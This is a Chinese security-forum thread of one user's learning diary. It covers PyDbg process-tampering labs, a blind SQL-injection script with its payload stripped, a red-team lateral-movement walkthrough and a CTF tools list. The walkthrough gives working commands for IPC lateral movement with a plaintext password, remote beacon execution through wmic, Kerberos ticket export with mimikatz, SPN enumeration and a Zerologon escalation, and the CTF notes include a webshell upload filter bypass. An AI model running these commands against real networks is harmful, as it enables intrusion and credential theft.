安全矩阵

 找回密码
 立即注册
搜索
楼主: CDxiaodong

程栋的学习日记

[复制链接]

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-11-9 21:28:50 | 显示全部楼层
## PythonHacking之PYDBG

借鉴:https://www.hetianlab.com/expc.d ... 2015060410431900001

**PyDbg的功能:**

   PyDbg通过python操控Windows调试API来执行进程调试功能。使用PyDbg你可以非常简单的完成如下功能:

   \1) 读内存,写内存以及查询内存。

   \2) 枚举进程,关联到进程,与进程相分离,终止进程。

   \3) 枚举线程,暂停线程的执行,恢复线程的执行。

   \4) 设置断点,删除断点,处理断点。

   \5) 快照以及恢复内存状态(SRM中的SR)。

   \6) 确定函数地址。

   总之,PYDBG是很多安全工具都在使用的系统调试分析模块,通过该实验,你能快速体会到PYDBG的快捷与强大之处。

从github项目链接https://github.com/OpenRCE/pydbg上下载项目源码

   1.若使用git clone命令,第2步可忽略。

   2.若使用压缩包下载,将压缩包解压后,将含有众多框架文件的pydbg-master文件夹命名为pydbg。

   3.将pydbg文件夹复制到python目录下的lib文件夹内。

   4.官方下载的文件中有一个文件叫做pydasm.pyd,该文件在python2.7下不能使用,需要替换,替换的文件下载地址为:http://d.download.csdn.net/download/zhuangyan2004/3774476

   5.验证是否安装成功的方法很简单,导入模块,没有报错即说明安装成功了。

​    ![img]()

   pydbg现隶属于paimei框架,实验任务二中,我们需要使用paimei框架下的utils模块,paimei框架的下载链接为https://github.com/OpenRCE/paimei 。下载完成之后,将utils文件夹和utils正常运行时的两个依赖模块pida,pgraph文件夹放在python/lib目录下。

   以上步骤中的资源实验室已经下载好了,放在目录“桌面\Python二进制分析\Python Hacking之PYDBG\python库文件”下

**任务描述:使用pydbg创建自定义断点处理程序。**

1、在PyDbg中用于设定软断点的函数为bp_set(),函数原型为:

   Bp_set(address,description=””,restore=True,hander=None)

   对于参数的说明:

   Address是需要设置断点所在的内存地址,description表明我们可以为该断点指定一个名称,restore表明断点在执行之后是否重设,而hander即断点命中之后的回调处理函数。

   在实验任务一中,我们着重强调hander这个回调函数,在断点程序触发的时候,所有的回调函数都会受到一个pydbg的类作为参数传入,该pydbg类的实例对象包含了所有与当前上下文,线程以及进程相关的信息。

2、测试例程count_add.py的说明:测试例程如下图所示。

  ![img]()

   Count_add.py的任务很简单:每两秒输出一个从0开始,自增为1的counter值。

3、要做的是将这个counter在调试的时候截取下来,并改成一个随机的数字。

   首先来建立整个pydbg的测试框架:

   ![img]()

   来分析一下上述代码,首先创建了一个pydbg类的实例,通过attach方法附加目标进程pid,然后通过func_resolve获取了printf的内存地址,通过bp_set方法在printf函数这里下了一个断点。当断点被触发时,会自动调用counter_random回调处理函数。当回调函数处理完成之后,通过调用run方法使被调试程序继续运行。

   紧接着,自定义了整个回调函数的框架,回调函数会传入含有断点信息的pydbg类实例,当函数处理完成之后,以返回DBG_CONTINUE恢复进程的执行状态。

4、填充回调函数主体,实现修改被调试程序的counter数并输出。

   ![img]()

   来分析下函数主体。

   首先,获取counter地址,printf函数先压入counter,后压入%d,跳过eip和%d.在esp+8处为counter的地址。Esp的值可以通过dbg.context.Esp直接得到。

   接下来,通过read_process_memory方法获得counter的值。Read_process_memory的返回值是个打包过的二进制字符串,需要解包。解包成unsigned long型的数据,解包后的元组索引为0的值就是counter的真实大小。

   最后,又反过来生成一个随机数,通过write_process_memory的方法写入到counter的内存地址处,实现篡改。

   然后以DBG_CONTINUE恢复进程的执行。

   至此,整个截断并修改的代码文件已编写完毕,整个代码如图所示:

   ![img]()



测试:

先执行count_add.py(源码中的文件),通过任务管理器获得对应的python.exe进程的pid。

![image-20211109211333592](C:\Users\e'e't\AppData\Roaming\Typora\typora-user-images\image-20211109211333592.png)

pid的查看开关在 “查看-列-pid”

对应的pid值为2160.这时候,启动intercepter.py,附上参数2160.  

![img]()

可以看到被调试程序的counter值已经被修改成了随机值。

   至此,已经通过pydbg实现了对目标进程中特定事物的监控,记录以及篡改。

实验步骤二

**任务描述:使用pydbg输出进程崩溃信息。**

   当出现内存的非法访问时,会触发异常事件。Pydbg通过注册异常事件EXCEPTION_ACCESS_VIOLATION来实现对这一异常的处理。当然,也可以将异常的测试报告提供给测试人员。

1、创建测试目标测试文件,本文以缓冲区溢出作为实例讲解,该脚本命名为buffer_overflow_test.py.

   ![img]()

   该脚本很简单,首先获取该脚本运行时的python PID。为了调试器有充足的时间来加载该程序,程序中添加了输入。点击任意字符后,程序出现异常,strcpy函数发生了缓冲区溢出,这时候调试器就可以捕获异常。

2、创建调试器异常处理文件,命名为reporter.py。

   ![img]()

   为调试程序注册了一个内存访问异常处理函数check_vaild。当程序出现异常时,触发第一次异常,程序先自行处理,当程序不能处理时,触发第二次异常,该异常由调试器处理。因此使用return DBG_EXCEPTION_NOT_HANDLED忽略了第一次异常。当异常交给调试时,使用crash_binning类的实例crash_bin中的record_crash来记录现场情况,最终使用crash_synopsis()来显示异常现场信息。

3、测试。首先执行buffer_overflow_test.py,输入该python的pid值为1724.

   ![img]()

4、执行reporter.py 1724.

   ![img]()

5、这时候在python.exe中输入任意字符。会看到reporter.py中已经生成了测试报告。

   ![img]()

   该测试报告首先报告了崩溃程序的代码,,在1e033c7a处的指令出现了访问异常。

   同时,可以看到现场信息,包括所有寄存器的值。此时eax的值已经变成了覆盖后的A值,ecx,esi,esp+8都指向了覆盖后的A字符串。可以看出这是典型的缓冲区溢出造成的异常。

   ![img]()

   在报告的下方对引起崩溃程序的指令上下文进行了反汇编,能方便测试人员去进行分析。

   ![img]()

   最后,显示了现场的堆栈和seh信息。

   可以看到,通过几行代码,就可以完成测试报告,这正是pydbg的强大之处。使用该测试报告能够加快对进程崩溃信息的自动化处理。

实验步骤三

**任务描述:使用pydbg创建进程快照。**

   快照是什么,快照是某一时刻目标进程的所有信息汇总,就像拍照片一样,建立快照的过程是保留进程现场的过程。同样的,对于快照的恢复是通过还原快照当时保留的现场来完成的。

   在pydbg中,已经提供给我们快照功能。核心API是process_snapshot()和process_restore(),这两个函数一个用来建立快照,一个用于从快照中恢复。

   在任务三中,将要建立一个脚本文件,通过这个python文件能够对记事本程序建立快照,同时又可以从快照中恢复过来。

1、首先,搭建好框架。

   ![img]()

   可以看到,建立了两个线程,其中start_debugger线程用于加载调试程序,monitor_debugger线程用于接收用户输入确定是建立快照还是从快照中恢复。

2、分别来完成两个线程操作:

   首先是start_debugger,通过pydbg来载入调试程序,调试的程序路径在类中用exe_path来表示。

   ![img]()

   这里用到了pydbg的load函数完成对调试程序的加载,在获取了该程序的pid之后,让调试程序正常运行。

3、Monitor_debugger是对调试程序的处理(建立快照和恢复快照),前提是要保证调试程序已经被正常打开。因此需要保证start_debugger先运行,且已经获得了调试程序的pid。因此,需要在start_debugger线程创建之后,monitor_debugge线程创建之前加入以下代码:

   ![img]()

4、完成关于monitor_debugger线程主体部分:

   ![img]()

   函数的执行选择由用户输入来决定,当用户输入s时,使用process_snapshot()来创建快照,当用户输入r时,使用process_restore()来恢复快照。

   为了防止在建立快照和恢复的时候调试程序的所有信息发生变化,在这两个函数前添加了suspend_all_threads()来挂起线程,当执行完毕之后,再用resume_all_threads()来恢复线程。这和加锁解锁是同一个道理。

5、测试。

   执行刚刚建立完成的快照脚本,程序会首先启动记事本,然后启动输入面板。

   在记事本中输入任意字符。

   ![img]()

   然后在控制台输入s,表示建立快照。


   ![img]()

   此时快照已经建立完毕。接下来在刚才的记事本中输入任意字符,我们将原来的字符删除,并输入新的字符。

   ![img]()

   这时候输入r表示恢复快照。

   ![img]()

   此时切换到刚才的记事本,会发现字符已经变成了创建快照时刻的字符。

   ![img]()

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-11-16 16:12:17 | 显示全部楼层
''我的cms sql 0day poc  payload已删
作为一个demo我就不讲究规范了
这里还有个减号没被过滤,其实利用减号也可以进行优化,
这样初始化时就不需要这么麻烦了,但为了对代码逻辑加深一点理解,
demo采用初始化后套路的二分盲注操作
减号思路:使得一个数据状态确定,然后遍历请求获得与当前状态不同的值
demo思路:使得所有数据状态确定,然后遍历
'''
import requests

headers={
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36",
    "x-forwarded-for":"1.3.15.909",
    "Cookie":"PHPSESSID=hqcgd9rv37p6mahkouitdqls76"
    }
base=""
def init(end):
    for i in range(65,end+1):
        res=requests.get(url+str(i),headers=headers).text
        if '1' in res:#如果此刻删除再请求一次使得数据存在
            res=requests.get(url+str(i),headers=headers)
        else:#已经存在该数据为了使其存在二次请求
            requests.get(url+str(i),headers=headers)
            requests.get(url+str(i),headers=headers)
      
def database(t):
    global base
    requests.get(url+payload.format(t),headers=headers)
    for i in range(65,123):
        res=requests.get(url+str(i),headers=headers).text
        if '2' in res:
            print(chr(i))
            base=base+chr(i)
            return i
    return 2

x=1
init(122)
while 1:
    s=database(x)
    if s==2:
        break
    x+=1
    init(s)
print(base)
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-11-16 16:34:59 | 显示全部楼层
在复现利用nim编写shellcode加载器bypass全家桶这篇文章的时候发现有个库缺少了导致反复失败,刚好大佬qq加我了,告诉我补上去了,__biz=Mzg2NzIwMTM3NQ==&mid=2247484268&idx=1&sn=e4c12bf1a1c66cc8461c174c885a2c1b&chksm=cebe7b5cf9c9f24a623873024ae5c70c8764ff4f4c11a505e17efef9576614c6dfa76ad2b75e&mpshare=1&scene=23&srcid=111476AFKvpIXMtzGYrmaCLb&sharer_sharetime=1636877609937&sharer_shareid=d6f91fc924ad833bb5231d972b990ef9#rd
nim又是一种新的语言,刚好最近看到一个文章《Rust 是可能编程的未来》,现在看到了php利用web java利用反序列化,python写poc,nim,go啥的都可以写攻击脚本和攻击工具,c/c++语言最底层编译,二进制做逆向。再加上现在的rust有一种未来会成为主流开发人员利用工具,且可以在多种领域使用。将来网站也可能是用rust作为一种开发手段。 而这种工具随着历史的推移也会不断进步迭代。渗透人改如何跟进甚至超越时代脚步。用自身的态势感知去掌握先进工具的利用,编写红队工具等方法来充分利用这些工具。渗透人该怎么去适应这种趋势呢?大佬们有啥看法
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-12-2 18:05:59 | 显示全部楼层
首先就是拿shell传免杀载荷上去

![image-20211202173057999](../../Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211202173057999.png)


hashdump一下

ipconfig看一下有没有别的网卡,

扫一扫0/24ip的端口  如果有80端口就继续拿shell    1433就xpcmdshell啥的

多种敏感端口都看一看

没有就cs插件扫一扫有没有系统漏洞,然后可以配合派生给msf(msf攻击性更强)

进去之后,查下进程和sysinfo,复制传到http://I.hacking8.com/tiquan看下有没有提权和杀毒进程

如果有杀软的话一般是关不掉的。(靠命令行终止是不可能了,因为目前大部分杀软都已经整合入系统内核了,cmd自带的命令是无法终止这一类进程的

)只能通过免杀寻找机会。因为提前做好的免杀往往比花时间清进程更好。时间就是机会

就ip代理转发,frp,ew(不更新了),  ipc通道上传。。ew适合做三层代理转发。还有冰蝎蚁剑代理上传文件。

msf代理。

但是就是因为ew伤害太大,所以不更新了,然后现在杀毒软件应该会把它杀掉。可以留着以后自己魔改免杀啥的

再建立ipc

```
shell net use\\10.10.10.136\ipc$ /usr:adminstrator "@55w0rd!"
```

```
shell copy c:\beacon5.exe \\10.10.10.136\c&\beancon5.exe
```

![image-20211127155007848](../../Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211127155007848.png)


```
shell wmic /node:10.10.10.136 /user:ack123\administrator /password@55w0rd! process call create "c:\beacon5.exe"


```

注意中间那个administrator前的斜号是反的,因为这是域的原因

![image-20211127155246414](../../Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211127155246414.png)

不行

那用别的方法(这个方法是因为我之前把防火墙关了  没关的话大概率不行)

先正向生成一个beacon6

![image-20211127160127491](../../Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211127.png)
上传进web2靶机服务器

再通过ipc传给10.10.136

运行

然后connect 10.10.10.136 6677![image-20211127160921909](../../Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211127160921909.png)



![image-20211127160908882](../../Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211127160908882.png)

ok成功上线

![image-20211202172232289](../../Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211202172232289.png)

这个时候也可以reg注册表和服务指令创建自动启动工具进行权限维持

还有reg开启网络发现

#### 为什么启动不了网络发现

有意思的是一开始我关闭网络发现后全是10.10.20.7ping不了10.10.20.12

后来我启用网络发现后直接关闭这个窗口了   然后去10.10.20.7那台主机

发现可以ping10.10.20.12,但是当我再次打开这个窗口时发现此时是“关闭网络发现”

但是两者都是可以互相ping通的,我也不知道啥原因

1.按下WIN+R,然后输入services.msc 回车

2、然后检查以下几个服务,看是否为启动状态;

  Function Discovery Resource Publication

  SSDP Discovery

  UPnP Device Host

![image-20211130191635347](../../Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211130191635347.png)

![image-20211130191750030](../../Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211130191750030.png)

这样就可以

那么上述步骤怎么用指令来操作呢

这就需要逐步cmd或者powshell指令操作了

但是目前只找到了可以cmd直接打开services.msc,但是你用cs执行这个命令的话是回显不出来的,但是人家电脑上看的到:joy:  把这个列为未来计划  后来加以补充

后面找到了还有这些方法

方法二:

reg add 将新的子项或项添加到注册表中

  语法:reg add KeyName [/v EntryName|/ve] [/t DataType] [/s separator] [/d value] [/f]

这种命令叫DOS命令

```
参数

  KeyName

  指定子项的完全路径。对于远程计算机,请在\\ComputerName\PathToSubkey中的子项路径前包含计算机名称。忽略ComputerName会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为HKLM、HKCU、HKCR、HKU以及HKCC。

  /v EntryName

  删除子项下的特定项。如果未指定项,则将删除子项下的所有项和子项。

  /ve

  指定只可以删除为空值的项。

  /va

  删除指定子项下的所有项。使用本参数不能删除指定子项下的子项。

  /f

  无需请求确认而删除现有的注册表子项或项。

  /?

  在命令提示符显示帮助。
```



```
cmd /k reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /f(任务栏里的任务管理器为灰色)

  cmd /k reg delete "HKLM\SOFTWARE\Microsoft\Shared Tools\MSConfig\startupreg" /f(删除MSConfig启动里的未勾选项目)

  cmd /k reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ctfmon.exe" /f(删除CTFMON的镜像劫持)

  cmd /k reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TrayNotify" /v IconStreams /f

  cmd /k reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TrayNotify" /v PastIconsStream /f(删除通知区域的历史记录)
```

而注册表和服务在(权限维持)后门持久化中也占有重要作用:开代理和挂载荷啥的

参考:https://www.baidu.com/link?url=Z ... bfd0000000661a72954

https://www.cnblogs.com/fanyf/p/4221488.html



#### 这里又不得不提到一个后门持久化的图形化工具了

,当然也可以直接使用reg命令打开(说实话reg命令不太好搞,因为不知道各个指令的详细操作(对应工具的部位命令),后面会做一次专题)。不过其实也不需要用到图形化工具,reg里面可以直接用,重要的还是要使用命令启用reg

就是说,我都能启用图形化工具了,那我直接去regit里面创建服务不就行了。还不用下载工具

不过工具多的是稳定性(怕你不会配置啥的):sheep:

有个工具nnsm  可以看这个

https://mp.weixin.qq.com/s?__biz ... 8a1fcbc183d841c4#rd



#### 怎样启动网络发现(用指令)

那实战中遇到这种情况有什么方法吗?

首先要把防火墙关掉是肯定的

win7(其他版本还没试过,不过应该都行)有下面几个个方法

1. 新建一个记事本文件,在里面输入内容:

   ```
   @echo off
   :Win7网络发现依赖的服务:
   nscache        DNS Client
   :SSDPSRV        SSDP Discovery
   lugPlay        Plug and Play
   :FDResPub        Function Discovery Resource Publication 功能发现资源发布
   sc query SSDPSRV|findstr /i "SSDPSRV state"
   sc query Dnscache|findstr /i "Dnscache state"
   sc query PlugPlay|findstr /i "lugPlay state"
   sc query FDResPub|findstr /i "FDResPub state"
   sc config SSDPSRV start= AUTO
   sc config Dnscache start= AUTO
   sc config PlugPlay start= AUTO
   sc config FDResPub start= AUTO
   sc start SSDPSRV
   sc start Dnscache
   sc start PlugPlay
   sc start FDResPub
   ```

   然后保存为TurnOnNetworkDiscovey.bat。

   双击运行TurnOnNetworkDiscovey.bat



启用完这些后可以连接proxt代理

或者win上的profile和sockcap64进行代理,还有个骚方法是直接传个cs上去,还有多层开启3389

![image-20211202172642740](../../Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211202172642740.png)

然后就可以用多种内网扫描软件配合cs插件进行内网漫游,发现其他ip还能进行横向(cs上的那个“瞄准”标志)

pasc64横向

![image-20211127152207115](../../Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211127152207115.png)

然后web2再转发上线

不过此时转发上线的监听端口就是第三层的10.10.10.x

![image-20211127153313596](../../Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211127153313596.png)

生成beacon

利用刚才的监听再去横向依次data2

![image-20211127153653960](../../Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211127153653960.png)

还有各种指令 shell net user /domain

找域

有域管的话看下能不能令牌窃取

到cmd5去破解一下

在注入web2创建票据  

mimikatz kerberos::ask /target:mysql/16server-dc1. ack123.com

![image-20211127144641380](../../Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211127144641380.png)

rc4就是加密方式

可以拿去破解

kerbors::list 看一下  

![image-20211127150241728](../../Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211127150241728.png)

![image-20211127145438903](../../Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211127145438903.png)

这个是mysql的  且

![image-20211127145822110](../../Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211127145822110.png)

pwd看下目录地址

改变目录

![image-20211127150408690](../../Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211127150408690.png)

把票据导出

mimikatz kerberos::list /export

然后在文件管理找到这个/temp目录把它下载出来就行

如果打不开的话直接cd到网站根目录WWW进行存取就行



弄到kali上进行破解

![image-20211127150932259](../../Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211127150932259.png)

这个就是域的密码

![image-20211127152047440](../../Pictures/QQ%E6%B5%8F%E8%A7%88%E5%99%A8%E6%88%AA%E5%9B%BE/image-20211127152047440.png)

SharpSQLTools找sql约束委派啥的

shell setspn -T vulntarget.com -q */*

直接使用`CVE-2020-1472`(域控提权)

然后就是cs转发上线

继续手机信息

反复操作

还有   阿里云不适合当vps  能ping通但ew连不上。也不知道是我个人的原因

1.chcp 65001后可以使meterpreter摆脱cmd乱码

2.meterpreter先stuid提权在执行命令

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-12-4 20:32:01 | 显示全部楼层
最近看到了一个边缘攻击的文章,加上群里有个大佬正好实战进到了边缘攻击,但是他在192段老是找不到10段

肯定是有10段的(虽然没找出来),这个内网也不是蜜罐,因为路由器相关服务还开着,而且都拿了192的主服务器,一些功能(控制附近的网络电视)也尚在,但是就是没找到第二层内网,通过路由也没找到

我便来了兴趣

想了解一下

1.啥00000是边缘攻击  为什么会有实战的边缘攻击?

边缘攻击,按照我的理解就是我自身有192.2的网卡,然后刚好我附近有个公司啥的内网也是192.2

然后恰巧我能ping他,好了  直接突破外网进内网进行边缘攻击

(没百度到哈哈)

好像是这个概念不叫边缘攻击:abc:

2.怎么样知道自己是不是进了内网中大蜜罐

这应该就是具体分析了,查一查服务啥的,没有重要服务和主要载入软件一般就是进了蜜罐了。

回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-12-4 21:24:36 | 显示全部楼层
好久没玩ctf了,加上下周要打ctf比赛,趁此机会以总结之前学过的做为复习

![image-20211204204354506](image-20211204204354506.png)


下面是我之前做的在线工具库。会附上链接


![image-20211204204456781](image-20211204204456781.png)



![image-20211204204511219](image-20211204204511219.png)


希尔(hill)密码https://blog.csdn.net/qq_4257088 ... 1018.2226.3001.4187

(24条消息) 各种密码:https://blog.csdn.net/xulei11325 ... 1018.2226.3001.4187

0和1转二维码脚本

```python
from PIL import Image



with open("1和0的故事.txt", "r") as f:

  data = [list(i.strip()) for i in f.readlines()]



\# 7*7的定位标志

flag = [

  [1, 1, 1, 1, 1, 1, 1],

  [1, 0, 0, 0, 0, 0, 1],

  [1, 0, 1, 1, 1, 0, 1],

  [1, 0, 1, 1, 1, 0, 1],

  [1, 0, 1, 1, 1, 0, 1],

  [1, 0, 0, 0, 0, 0, 1],

  [1, 1, 1, 1, 1, 1, 1]

]



img = Image.new("1", (25, 25))

for i in range(len(data)):

  for j in range(len(data[1])):

​    \# 左上角定位标志

​    if i < 7 and j < 7:

​      img.putpixel((i, j), flag[j] ^ 1)

​    \# 左下角定位标志

​    elif i > 17 and j < 7:

​      img.putpixel((i, j), flag[i-18][j] ^ 1)

​    \# 右上角定位标志

​    elif i < 7 and j > 17:

​      img.putpixel((i, j), flag[j-18] ^ 1)

​    else:

​      img.putpixel((i, j), int(data[j]) ^ 1)



img.resize((500, 500)).show()
```

acsii转八进制

https://tool.520101.com/wangluo/ascii3/

aes解密

http://www.jsons.cn/aesencrypt

ASCII 在线转换器 -ASCII码-十六进制-二进制-十进制-字符串-ascii查询器

http://www.ab126.com/goju/1711.html

Ascii转字符

https://www.qqxiuzi.cn/bianma/ascii.htm

BASE64转图片

https://tool.jisuapi.com/base642pic.html

Base100编码-解码 -

http://www.atoolbox.net/Tool.php?Id=936

binwalk+F5隐写法使用教程

![binwalk+F5隐写法使用教程](binwalk+F5%E9%9A%90%E5%86%99%E6%B3%95%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B.png)

Brainfuck--+[>-  (ok加密)

https://ctf.bugku.com/tool/brainfuck

code buncy多种转换(删除空行,删除断线,一处标点符号。分割文本抽取器)

https://codebeautify.org/string-binary-converter

![image-20211204205540707](image-20211204205540707.png)


PYHON反编译

https://tool.lu/pyc/

Rabbit加密-Rabbit解密-在线Rabbit加密解密工具  TripleDES算法解密  Rc4

http://www.jsons.cn/rabbitencrypt/

![image-20211204205828522](image-20211204205828522.png)


RSA小工具且其使用方法

https://github.com/3summer/CTF-RSA-tool

whitespace 把txt的内容放进去,然后run  找出空格或者空行解密出字符

https://vii5ard.github.io/whitespace/

XPS, DOC, DOCX, RTF, TXT, XLS, XLSX, PPT, PPTX, HTML, PUB转JPG - 在线转换文档文件

https://www.aconvert.com/cn/document/html-to-jpg/

博多密码

https://www.boxentriq.com/code-breaking/baudot-code

草料二维码解码器

https://cli.im/deqr

根据加密方式进行逆解密(支持多种语言  php.c  py .go nim)

https://www.kpaste.net/516b03a2c


![image-20211204210118544](image-20211204210118544.png)

箭头解密可自设密码-文本在线加密解密工具

https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=jiantou

文本加密为音乐符号,可自设密码-文本在线加密解密工具

https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=yinyue

文本加密

https://www.qqxiuzi.cn/bianma/wenbenjiami.php

![image-20211204210249530](../AppData/Roaming/Typora/typora-user-images/image-20211204210249530.png)


修改jpg高度


![修改jpg高度](%E4%BF%AE%E6%94%B9jpg%E9%AB%98%E5%BA%A6.png)

修改png图片宽高CRC

![修改png图片宽高CRC](%E4%BF%AE%E6%94%B9png%E5%9B%BE%E7%89%87%E5%AE%BD%E9%AB%98CRC.png)



隐藏字符加密 - 一个工具箱 - 好用的在线工具都在这里!

http://www.atoolbox.net/Tool.php?Id=829

![image-20211204210417539](image-20211204210417539.png)


Mary Stuart Code密码例题

![Mary Stuart Code密码例题](../AppData/Roaming/Typora/typora-user-images/Mary%20Stuart%20Code%E5%AF%86%E7%A0%81%E4%BE%8B%E9%A2%98.png)

用execl将文本中的0和1变成二维码的做法

https://blog.csdn.net/qq_52715164/article/details/119054663

在线工具 - Bugku CTF(与佛论禅)

https://ctf.bugku.com/tools

在线计算器-科学计算器在线使用-数学-根号-三角形-函数-公式-时间-面积-体积

http://www.ab126.com/

正则表达式在线测试 - 菜鸟工具

https://c.runoob.com/front-end/854

CTF工具箱v1.2(2021.07.03更新) - Eat ice cream! - Fake it till you make it.

https://www.mzy0.com/archives/59/

CTF在线工具-CTF工具-CTF编码-CTF密码学-CTF加解密-程序员工具-在线编解码

http://ctf.ssleye.com/

CTF资源库-CTF工具下载-CTF工具包-CTF工具集合

http://www.ctftools.com/down/

GIF动态图片分解,多帧动态图分解成多张静态图片_图片工具网页版

https://tu.sioe.cn/gj/fenjie/

gif动态图片分解_在线gif分解工具

http://tool.chuanxincao.net/fenjie

gif合成 在线视频转gif 制作gif图片-gif5工具网

https://www.gif5.net/

G语言解密(画图)

https://ncviewer.com/

![image-20211204210808619](image-20211204210808619.png)


Malbolge 语言(丑陋的语言)

https://zb3.me/malbolge-tools/

ok;+.;.!问号密码

https://www.splitbrain.org/services/ook

个人之前写的笔记

U2FsdGVkX19T7VS86emCFReuh2Tjc3ZtbB5HMHebPd8=   AES解密
zip伪加密    在50 4B 01 02 之后的第一个09改为00
png尝试修改宽高看一下,将高度的00 00 00 F0 修改成00 00 01 2C (01 2C 为高度30010进制转16)
Rar的文件头一般是52617221
8:V5Y:7,Y,3MU=$8D%11&9O6BY .G,M     为uuencode+base85
查看这些xml文件 最后在document.xml找密码
webp文件和stegpy有关   可以用一个stegpy的python脚本解码  pip3 install stegpy;  stegpy csgo.riff(csgo.webp)
哈夫曼树原理:https://blog.csdn.net/qq_29519041/article/details/81428934
画图反色(ctrl+shift+i)

明文攻击:原理:有一个需要解密的ZIP而且不知道密码,但幸运的是有ZIP包里一个已知文件,
将已知文件进行ZIP加密后和待解密的ZIP里已知文件进行hex对比,两者的区别就是ZIP加密
的三个key(压缩包中的每个文件都是通过这三个Key进行加密压缩的),由此得到加密文件
的三个key。


用360解压可以看压缩包是否有损损坏,360zip打开,提示头部数据损坏,使用WinRAR打开则提示输入密码,因此推测压缩包的二进制文件被修改了。
有些压缩包提示损坏,打不开,伪加密等,直接用winrar等工具自带的修复,有奇效

jpg修改宽高:在FF C0 00 11 08后改为 03 CF 02
010打开文本里面有‘s-x=`  .aBM  j’表现可能存在7z的压缩方式
snowfall: whitespeace解密(无考虑其他任何字符,只考虑空白符)
六位CRC32爆破  https://github.com/theonlypwner/crc32
winhex发现了elf文件数据 将elf文件头前面的部分全部删掉,然后保存(注意elf前的空格不能删)
文字后面还有隐藏的数据。用Notepad++打开

wps查看隐藏文字   文件-选项-视图-隐藏文字
gunplot的神器,它是一个命令行的交互式绘图工具,可以将坐标绘制成图像。

HINT-ZmxhZ3tDb29seW91R290SXROb3dZb3VLbm93VGhlRmxhZ30 想z开头的也可能是base64;

kali可以使用more shadow命令查看shadow文件信息。进而john [OPTIONS] [PASSWORD-FILES] john [选项] [密码文件] --show[=LEFT] 显示破解的密码[如果=左,然后uncracked]

```
john --show shadow
```

中国古代计数符号

商码:〡 〢 〣 〤 〥 〦 〧 〨 〩 十
汉字:一 二 三 四 五 六 七 八 九 十
大写:壹 贰 叁 肆 伍 陆 柒 捌 玖 拾
数字:1 2 3 4 5 6 7 8 9 10





web

CTF中的序列化与反序列化

https://www.cnblogs.com/HelloCTF/p/13044403.html

上传一句话图片木马,图片内容为一句话木马,然后将http请求头中的Content-Type:multipart/form-data 修改为Content-Type: Multipart/form-data,且上传的文件后缀名为.php4

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

63

主题

125

帖子

457

积分

中级会员

Rank: 3Rank: 3

积分
457
 楼主| 发表于 2021-12-8 15:38:00 | 显示全部楼层
解压压缩包

有个DS._store

这个是官方忘记删掉的东西,虽然DS._store本身是带有源文件信息

但是在这题没啥用,而且还混淆视听

里面还有个test文件

010打开看一下

![image-20211207163346280](image-20211207163346280.png)

这里有个png

好的截取保存

打开

![image-20211207163413000](image-20211207163413000.png)

PyInstaller Extractor的图标

项目地址:

https://sourceforge.net/projects/pyinstallerextractor/

进入后点击“Download”下载pyinstxtractor.py,即可。



![image-20211207165215234](image-20211207165215234.png)

![image-20211207165223862](image-20211207165223862.png)

随便打个pyc的010然后截取首行

添加到1文件

随便一个pyc是因为这是同源文件的首行文件头(同源pyc文件的文件头都是一样的)

